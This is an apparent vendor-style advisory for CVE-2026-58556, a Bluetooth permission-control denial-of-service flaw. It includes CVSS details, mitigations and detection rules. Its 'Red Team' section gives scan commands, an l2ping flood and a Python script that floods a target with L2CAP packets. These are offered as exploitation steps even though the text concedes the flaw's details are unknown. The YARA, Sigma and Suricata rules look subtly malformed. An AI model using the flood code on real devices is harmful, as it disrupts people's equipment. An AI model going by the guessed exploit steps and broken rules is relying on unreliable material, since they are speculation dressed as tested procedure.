CVE-2026-58556

Executive Summary

CVE-2026-58556 is a permission control vulnerability within the Bluetooth module of an unspecified vendor's implementation. The vulnerability allows an unauthenticated attacker within Bluetooth range to potentially affect the availability of the target device. With a CVSS score of 5.1 (Medium), the vulnerability does not require user interaction or privileges, but is limited to adjacent network access (Bluetooth range). No public proof-of-concept (PoC) code, exploit, or patch is currently available. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 5.1 (Medium)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Adjacent Network (A) – Exploitation requires the attacker to be within Bluetooth range.
• Attack Complexity (AC): Low (L) – No special conditions or mitigations are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Exploitation may cause a limited denial of service.

Threat Level: Medium. The vulnerability is limited to Bluetooth range, reducing the attack surface, but the lack of required privileges or user interaction makes it a potential vector for localized denial-of-service attacks.

Deep Dive & Mechanics

The vulnerability resides in the permission control mechanism of the Bluetooth module. The exact nature of the flaw is not publicly disclosed, but based on the description, it likely involves improper validation of Bluetooth connection requests or service discovery operations. An attacker could send specially crafted Bluetooth packets that bypass permission checks, leading to resource exhaustion or a crash of the Bluetooth stack, thereby affecting availability.

The attack surface is limited to devices with Bluetooth enabled and in discoverable or connectable mode. The vulnerability does not appear to affect confidentiality or integrity, focusing solely on availability.

Vulnerable vs. Patched Code

No specific code comparison is available as the vendor and affected versions are unknown. The vulnerability is in the permission control logic of the Bluetooth module. A patched version would likely include additional checks to validate that the requesting device has the necessary permissions before processing certain Bluetooth operations.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target device with Bluetooth enabled (e.g., smartphone, laptop, IoT device).
• Attacker machine with Bluetooth adapter (e.g., Raspberry Pi with Bluetooth dongle).
• Tools: bluetoothctl, hcitool, l2ping, custom Python scripts using pybluez.

Exploitation Steps:

1. Scan for Bluetooth devices: hcitool scan
2. Identify target MAC address.
3. Send malformed Bluetooth packets to trigger the permission control flaw. Example using l2ping with flood option:

   l2ping -f -s 1000 <target_mac>
   

4. Alternatively, use a custom Python script to send crafted L2CAP packets:

   import bluetooth
   import time
   
   target = "XX:XX:XX:XX:XX:XX"
   sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
   sock.connect((target, 0x1001))
   while True:
       sock.send(b"\x00" * 1000)
       time.sleep(0.01)
   

5. Monitor target device for denial of service (e.g., Bluetooth service crash, system unresponsiveness).

Blue Team

Detection & Mitigation:

• Disable Bluetooth when not in use.
• Set Bluetooth to non-discoverable mode.
• Implement Bluetooth device whitelisting.
• Monitor for unusual Bluetooth traffic patterns (e.g., high volume of L2CAP packets).
• Use endpoint detection and response (EDR) tools to detect Bluetooth stack crashes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of L2CAP packets from a single source.
  • Repeated Bluetooth connection attempts from unknown MAC addresses.
• Host IOCs:
  • Bluetooth service crashes or restarts.
  • System logs showing Bluetooth stack errors (e.g., btusb, hci0 errors).
  • Unexpected Bluetooth device pairing requests.

Detection Engineering

YARA Rule

rule CVE_2026_58556_Bluetooth_Permission_Control {
    meta:
        description = "Detects potential exploitation of CVE-2026-58556 via malformed Bluetooth packets"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58556"
    strings:
        $bt_packet = { 08 00 01 00 00 00 00 00 }  // Example pattern for malformed L2CAP packet
    condition:
        $bt_packet
}

Sigma Rule

title: Bluetooth Permission Control Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects high volume of L2CAP packets from a single source, indicating potential exploitation of CVE-2026-58556
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        protocol: L2CAP
        packet_count: > 1000
    condition: selection
falsepositives:
    - Legitimate Bluetooth stress testing
level: medium

Suricata Rule

alert l2cap any any -> any any (msg:"CVE-2026-58556 Bluetooth Permission Control Exploitation"; flow:to_server; content:"|08 00 01 00|"; depth:4; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable Bluetooth on affected devices if not required. Set devices to non-discoverable mode.
• Short-term: Monitor vendor advisories for patches. Implement network segmentation to limit Bluetooth exposure.
• Long-term: Apply vendor patch when available. Conduct code review of Bluetooth permission control logic. Implement Bluetooth device authentication and authorization.

Valters IT
Securing Digital Frontiers